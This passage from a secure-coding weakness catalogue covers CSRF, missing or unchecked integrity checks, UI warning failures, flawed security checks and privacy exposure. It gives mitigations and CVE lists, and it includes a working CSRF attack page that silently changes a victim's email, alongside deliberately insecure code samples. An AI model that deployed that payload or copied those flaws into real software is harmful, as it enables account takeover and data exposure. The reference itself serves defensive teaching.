Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

### Phase: Architecture and Design

Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]

### Phase: Architecture and Design

Do not use the GET method for any request that triggers a state change.

### Phase: Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

## Demonstrative Examples

### Example 1:

This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.

The following HTML is intended to allow a user to update a profile.

*Example Language: HTML*

*(Bad)*

```
<form action="/url/profile.php" method="post">
<input type="text" name="firstname"/>
<input type="text" name="lastname"/>
<br/>
<input type="text" name="email"/>
<input type="submit" name="submit" value="Update"/>
</form>
```

profile.php contains the following code.

*Example Language: PHP*

*(Bad)*

```
// initiate the session in order to validate sessions
session_start();
//if the session is registered to a valid user then allow update
if (! session_is_registered("username")) {
    echo "invalid session detected!";
    // Redirect user to login page
    [...]
    exit;
}
// The user session is valid, so process the request
// and update the information
update_profile();
function update_profile {
    // read in the data from $POST and send an update
    // to the database
    SendUpdateToDatabase($_SESSION['username'], $_POST['email']);
    [...]
    echo "Your profile has been successfully updated.";
}
```

This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.

The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:

*Example Language: HTML*

*(Attack)*

```
<SCRIPT>
function SendAttack () {
    form.email = "attacker@example.com";
    // send to profile.php
    form.submit();
}
</SCRIPT>
<BODY onload="javascript:SendAttack();">
<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>
```

Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.

Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.

### Observed Examples

Reference	Description
<b>CVE-2004-1703</b>	Add user accounts via a URL in an img tag <a href="https://www.cve.org/CVERecord?id=CVE-2004-1703">https://www.cve.org/CVERecord?id=CVE-2004-1703</a>
<b>CVE-2004-1995</b>	Add user accounts via a URL in an img tag <a href="https://www.cve.org/CVERecord?id=CVE-2004-1995">https://www.cve.org/CVERecord?id=CVE-2004-1995</a>
<b>CVE-2004-1967</b>	Arbitrary code execution by specifying the code in a crafted img tag or URL <a href="https://www.cve.org/CVERecord?id=CVE-2004-1967">https://www.cve.org/CVERecord?id=CVE-2004-1967</a>
<b>CVE-2004-1842</b>	Gain administrative privileges via a URL in an img tag <a href="https://www.cve.org/CVERecord?id=CVE-2004-1842">https://www.cve.org/CVERecord?id=CVE-2004-1842</a>
<b>CVE-2005-1947</b>	Delete a victim's information via a URL or an img tag <a href="https://www.cve.org/CVERecord?id=CVE-2005-1947">https://www.cve.org/CVERecord?id=CVE-2005-1947</a>
<b>CVE-2005-2059</b>	Change another user's settings via a URL or an img tag <a href="https://www.cve.org/CVERecord?id=CVE-2005-2059">https://www.cve.org/CVERecord?id=CVE-2005-2059</a>
<b>CVE-2005-1674</b>	Perform actions as administrator via a URL or an img tag <a href="https://www.cve.org/CVERecord?id=CVE-2005-1674">https://www.cve.org/CVERecord?id=CVE-2005-1674</a>
<b>CVE-2009-3520</b>	modify password for the administrator <a href="https://www.cve.org/CVERecord?id=CVE-2009-3520">https://www.cve.org/CVERecord?id=CVE-2009-3520</a>
<b>CVE-2009-3022</b>	CMS allows modification of configuration via CSRF attack against the administrator <a href="https://www.cve.org/CVERecord?id=CVE-2009-3022">https://www.cve.org/CVERecord?id=CVE-2009-3022</a>
<b>CVE-2009-3759</b>	web interface allows password changes or stopping a virtual machine via CSRF <a href="https://www.cve.org/CVERecord?id=CVE-2009-3759">https://www.cve.org/CVERecord?id=CVE-2009-3759</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	716	OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)	629	2125
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	2145
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	2147
MemberOf	C	814	OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)	809	2151
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	2164
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	936	OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)	928	2185
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349

Nature	Type	ID	Name	V	Page
MemberOf		1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280
MemberOf		1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf		1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

## Notes

### Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

### Theoretical

The CSRF topology is multi-channel: Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel. Intermediary (as user) to server (as victim). The activation point is an internal channel.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cross-Site Request Forgery (CSRF)
OWASP Top Ten 2007	A5	Exact	Cross Site Request Forgery (CSRF)
WASC	9		Cross-site Request Forgery

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
62	Cross Site Request Forgery
111	JSON Hijacking (aka JavaScript Hijacking)
462	Cross-Domain Search Timing
467	Cross Site Identification

## References

- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-329]Peter W. "Cross-Site Request Forgeries (Re: The Dangers of Allowing Users to Post Images)". Bugtraq. < <http://marc.info/?l=bugtraq&m=99263135911884&w=2> >.
- [REF-330]OWASP. "Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet". < [http://www.owasp.org/index.php/Cross-Site\\_Request\\_Forgery\\_\(CSRF\)\\_Prevention\\_Cheat\\_Sheet](http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet) >.
- [REF-331]Edward W. Felten and William Zeller. "Cross-Site Request Forgeries: Exploitation and Prevention". 2008 October 8. < <http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.147.1445> >.
- [REF-332]Robert Auger. "CSRF - The Cross-Site Request Forgery (CSRF/XSRF) FAQ". < <http://www.cgisecurity.com/articles/csrf-faq.shtml> >.
- [REF-333]"Cross-site request forgery". 2008 December 2. Wikipedia. < [http://en.wikipedia.org/wiki/Cross-site\\_request\\_forgery](http://en.wikipedia.org/wiki/Cross-site_request_forgery) >.

[REF-334]Jason Lam. "Top 25 Series - Rank 4 - Cross Site Request Forgery". 2010 March 3. SANS Software Security Institute. < <http://software-security.sans.org/blog/2010/03/03/top-25-series-rank-4-cross-site-request-forgery> >.

[REF-335]Jeff Atwood. "Preventing CSRF and XSRF Attacks". 2008 October 4. < <http://www.codinghorror.com/blog/2008/10/preventing-csrf-and-xsrf-attacks.html> >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-956]Wikipedia. "Samy (computer worm)". < [https://en.wikipedia.org/wiki/Samy\\_\(computer\\_worm\)](https://en.wikipedia.org/wiki/Samy_(computer_worm)) >.2018-01-16.

## CWE-353: Missing Support for Integrity Check

**Weakness ID** : 353

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum.




### Extended Description

If integrity check values or "checksums" are omitted from a protocol, there is no way of determining if data has been corrupted in transmission. The lack of checksum functionality in a protocol removes the first application-level check of data that can be used. The end-to-end philosophy of checks states that integrity checks should be performed at the lowest level that they can be completely implemented. Excluding further sanity checks and input validation performed by applications, the protocol's checksum is the most important level of checksum, since it can be performed more completely than at any previous level and takes into account entire messages, as opposed to single packets.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805
PeerOf		354	Improper Validation of Integrity Check Value	830
PeerOf		354	Improper Validation of Integrity Check Value	830

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1020	Verify Message Integrity	2227

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1214	Data Integrity Issues	2270

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity	Other	
Other	<i>Data that is parsed and used may be corrupted.</i>	
Non-Repudiation	Hide Activities	
Other	Other	
	<i>Without a checksum it is impossible to determine if any changes have been made to the data after it was sent.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Add an appropriately sized checksum to the protocol, ensuring that data received may be simply validated before it is parsed and used.

#### Phase: Implementation

Ensure that the checksums present in the protocol design are properly implemented and added to each message before it is sent.

### Demonstrative Examples

#### Example 1:

In this example, a request packet is received, and privileged information is sent to the requester:

*Example Language: Java*

*(Bad)*

```
while(true) {
    DatagramPacket rp = new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    out = secret.getBytes();
    DatagramPacket sp =new DatagramPacket(out, out.length, IPAddress, port);
    outSock.send(sp);
}
```

The response containing secret data has no integrity check associated with it, allowing an attacker to alter the message without detection.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	957	SFP Secondary Cluster: Protocol Error	888	2191
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2288

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to add integrity check value

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
13	Subverting Environment Variable Values

CAPEC-ID	Attack Pattern Name
14	Client-side Injection-induced Buffer Overflow
39	Manipulating Opaque Client-based Data Tokens
74	Manipulating State
75	Manipulating Writeable Configuration Files
389	Content Spoofing Via Application API Manipulation
665	Exploitation of Thunderbolt Protection Flaws

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-354: Improper Validation of Integrity Check Value

**Weakness ID** : 354

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.





### Extended Description

Improper validation of checksums before use results in an unnecessary risk that can easily be mitigated. The protocol specification describes the algorithm used for calculating the checksum. It is then a simple matter of implementing the calculation and verifying that the calculated checksum and the received checksum match. Improper verification of the calculated checksum and the received checksum can lead to far greater consequences.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1460
ChildOf		345	Insufficient Verification of Data Authenticity	805
PeerOf		353	Missing Support for Integrity Check	828
PeerOf		353	Missing Support for Integrity Check	828

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	805

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1020	Verify Message Integrity	2227



*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1214	Data Integrity Issues	2270

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Other	Other	
	<i>Integrity checks usually use a secret key that helps authenticate the data origin. Skipping integrity checking generally opens up the possibility that new data from an invalid source can be injected.</i>	
Integrity	Other	
Other	Other	
	<i>Data that is parsed and used may be corrupted.</i>	
Non-Repudiation	Hide Activities	
Other	Other	
	<i>Without a checksum check, it is impossible to determine if any changes have been made to the data after it was sent.</i>	

### Potential Mitigations

#### Phase: Implementation

Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.

### Demonstrative Examples

#### Example 1:

The following example demonstrates the weakness.

*Example Language: C*

*(Bad)*

```
sd = socket(AF_INET, SOCK_DGRAM, 0); serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clien = sizeof(cli);
    if (inet_ntoa(cli.sin_addr) == ...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, & clien);
}
```

*Example Language: Java*

*(Bad)*

```
while(true) {
    DatagramPacket packet = new DatagramPacket(data, data.length, IPAddress, port);
    socket.send(sendPacket);
}
```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	2210

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to check integrity check value

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
75	Manipulating Writeable Configuration Files
145	Checksum Spoofing
463	Padding Oracle Crypto Attack

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-356: Product UI does not Warn User of Unsafe Actions

**Weakness ID** : 356

**Structure** : Simple

**Abstraction** : Base

### Description

The product's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system.

### Extended Description

Product systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	221	Information Loss or Omission	531

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	2112

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	

### Observed Examples

Reference	Description
<b>CVE-1999-1055</b>	Product does not warn user when document contains certain dangerous functions or macros. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1055">https://www.cve.org/CVERecord?id=CVE-1999-1055</a>
<b>CVE-1999-0794</b>	Product does not warn user when document contains certain dangerous functions or macros. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0794">https://www.cve.org/CVERecord?id=CVE-1999-0794</a>
<b>CVE-2000-0277</b>	Product does not warn user when document contains certain dangerous functions or macros. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0277">https://www.cve.org/CVERecord?id=CVE-2000-0277</a>
<b>CVE-2000-0517</b>	Product does not warn user about a certificate if it has already been accepted for a different site. Possibly resultant. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0517">https://www.cve.org/CVERecord?id=CVE-2000-0517</a>
<b>CVE-2005-0602</b>	File extractor does not warn user it setuid/setgid files could be extracted. Overlaps privileges/permissions. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0602">https://www.cve.org/CVERecord?id=CVE-2005-0602</a>
<b>CVE-2000-0342</b>	E-mail client allows bypass of warning for dangerous attachments via a Windows .LNK file that refers to the attachment. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0342">https://www.cve.org/CVERecord?id=CVE-2000-0342</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		996	SFP Secondary Cluster: Security	888	2211

### Notes

#### Relationship

Often resultant, e.g. in unhandled error conditions.

#### Relationship

Can overlap privilege errors, conceptually at least.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Product UI does not warn user of unsafe actions

## CWE-357: Insufficient UI Warning of Dangerous Operations

**Weakness ID** : 357

**Structure** : Simple

**Abstraction** : Base

### Description

The user interface provides a warning to a user regarding dangerous or sensitive operations, but the warning is not noticeable enough to warrant attention.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
ParentOf	ⓑ	450	Multiple Interpretations of UI Input	1019

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	ⓐ	355	User Interface Security Issues	2112

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	

### Observed Examples

Reference	Description
<b>CVE-2007-1099</b>	User not sufficiently warned if host key mismatch occurs <a href="https://www.cve.org/CVERecord?id=CVE-2007-1099">https://www.cve.org/CVERecord?id=CVE-2007-1099</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	ⓐ	996	SFP Secondary Cluster: Security	888	2211

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient UI warning of dangerous operations

## CWE-358: Improperly Implemented Security Check for Standard

**Weakness ID** : 358

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
ChildOf		573	Improper Following of Specification by Caller	1222
PeerOf		325	Missing Cryptographic Step	754
CanAlsoBe		290	Authentication Bypass by Spoofing	668
CanAlsoBe		345	Insufficient Verification of Data Authenticity	805

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Observed Examples

Reference	Description
<b>CVE-2002-0862</b>	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0862">https://www.cve.org/CVERecord?id=CVE-2002-0862</a>
<b>CVE-2002-0970</b>	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0970">https://www.cve.org/CVERecord?id=CVE-2002-0970</a>
<b>CVE-2002-1407</b>	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1407">https://www.cve.org/CVERecord?id=CVE-2002-1407</a>
<b>CVE-2005-0198</b>	Logic error prevents some required conditions from being enforced during Challenge-Response Authentication Mechanism with MD5 (CRAM-MD5). <a href="https://www.cve.org/CVERecord?id=CVE-2005-0198">https://www.cve.org/CVERecord?id=CVE-2005-0198</a>
<b>CVE-2004-2163</b>	Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2163">https://www.cve.org/CVERecord?id=CVE-2004-2163</a>
<b>CVE-2005-2181</b>	Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2181">https://www.cve.org/CVERecord?id=CVE-2005-2181</a>
<b>CVE-2005-2182</b>	Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2182">https://www.cve.org/CVERecord?id=CVE-2005-2182</a>
<b>CVE-2005-2298</b>	Security check not applied to all components, allowing bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2298">https://www.cve.org/CVERecord?id=CVE-2005-2298</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		978	SFP Secondary Cluster: Implementation	888	2201
MemberOf		1366	ICS Communications: Frail Security in Protocols	1358	2295

### Notes

#### Relationship

This is a "missing step" error on the product side, which can overlap weaknesses such as insufficient verification and spoofing. It is frequently found in cryptographic and authentication errors. It is sometimes resultant.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improperly Implemented Security Check for Standard

## CWE-359: Exposure of Private Personal Information to an Unauthorized Actor

**Weakness ID :** 359

**Structure :** Simple

**Abstraction :** Base

### Description

The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected.

### Extended Description

There are many types of sensitive information that products must protect from attackers, including system data, communications, configuration, business secrets, intellectual property, and an individual's personal (private) information. Private personal information may include a password, phone number, geographic location, personal messages, credit card number, etc. Private information is important to consider whether the person is a user of the product, or part of a data set that is processed by the product. An exposure of private information does not necessarily prevent the product from working properly, and in fact the exposure might be intended by the developer, e.g. as part of data sharing with other organizations. However, the exposure of personal private information can still be undesirable or explicitly prohibited by law or regulation.

Some types of private information include:

- Government identifiers, such as Social Security Numbers
- Contact information, such as home addresses and telephone numbers
- Geographic location - where the user is (or was)
- Employment history
- Financial data - such as credit card numbers, salary, bank accounts, and debts
- Pictures, video, or audio
- Behavioral patterns - such as web surfing history, when certain activities are performed, etc.
- Relationships (and types of relationships) with others - family, friends, contacts, etc.
- Communications - e-mail addresses, private messages, text messages, chat logs, etc.
- Health - medical conditions, insurance status, prescription records
- Account passwords and other credentials

Some of this information may be characterized as PII (Personally Identifiable Information), Protected Health Information (PHI), etc. Categories of private information may overlap or vary based on the intended usage or the policies and practices of a particular industry.


Sometimes data that is not labeled as private can have a privacy implication in a different context. For example, student identification numbers are usually not considered private because there is no explicit and publicly-available mapping to an individual student's personal information. However, if a school generates identification numbers based on student social security numbers, then the identification numbers should be considered private.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		200	Exposure of Sensitive Information to an Unauthorized Actor	484

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		199	Information Management Errors	2104

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

### Alternate Terms

**Privacy violation** :

**Privacy leak** :

**Privacy leakage** :

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Detection Methods

#### Architecture or Design Review

Private personal data can enter a program in a variety of ways: Directly from the user in the form of a password or personal information Accessed from a database or other data store by the application Indirectly from a partner or other third party If the data is written to an external location - such as the console, file system, or network - a privacy violation may occur.

*Effectiveness = High*

### Potential Mitigations

#### Phase: Requirements

Identify and consult all relevant regulations for personal privacy. An organization may be required to comply with certain federal and state regulations, depending on its location, the type of business it conducts, and the nature of any private data it handles. Regulations may include Safe Harbor Privacy Framework [REF-340], Gramm-Leach Bliley Act (GLBA) [REF-341], Health Insurance Portability and Accountability Act (HIPAA) [REF-342], General Data Protection Regulation (GDPR) [REF-1047], California Consumer Privacy Act (CCPA) [REF-1048], and others.

#### Phase: Architecture and Design

Carefully evaluate how secure design may interfere with privacy, and vice versa. Security and privacy concerns often seem to compete with each other. From a security perspective, all important operations should be recorded so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore



believe that it is acceptable store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.

## Demonstrative Examples

### Example 1:

The following code contains a logging statement that tracks the contents of records added to a database by storing them in a log file. Among other values that are stored, the getPassword() function returns the user-supplied plaintext password associated with the account.

Example Language: C#

(Bad)

```
pass = GetPassword();
...
dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" + tstamp);
```

The code in the example above logs a plaintext password to the filesystem. Although many developers trust the filesystem as a safe storage location for data, it should not be trusted implicitly, particularly when privacy is a concern.

### Example 2:

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS\_FINE\_LOCATION permission in the application's manifest.xml:

Example Language: XML

(Bad)

```
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

Example Language: Java

(Bad)

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS\_FINE\_LOCATION permission, as the ACCESS\_COARSE\_LOCATION permission will be sufficient to identify which US state the user is in.

### Example 3:

In 2004, an employee at AOL sold approximately 92 million private customer e-mail addresses to a spammer marketing an offshore gambling web site [REF-338]. In response to such high-profile exploits, the collection and management of private data is becoming increasingly regulated.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		254	7PK - Security Features	700	2106

Nature	Type	ID	Name	V	Page
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2161
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2199
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	2229
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2244
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

## Notes

### Maintenance

This entry overlaps many other entries that are not organized around the kind of sensitive information that is exposed. However, because privacy is treated with such importance due to regulations and other factors, and it may be useful for weakness-finding tools to highlight capabilities that detect personal private information instead of system information, it is not clear whether - and how - this entry should be deprecated.

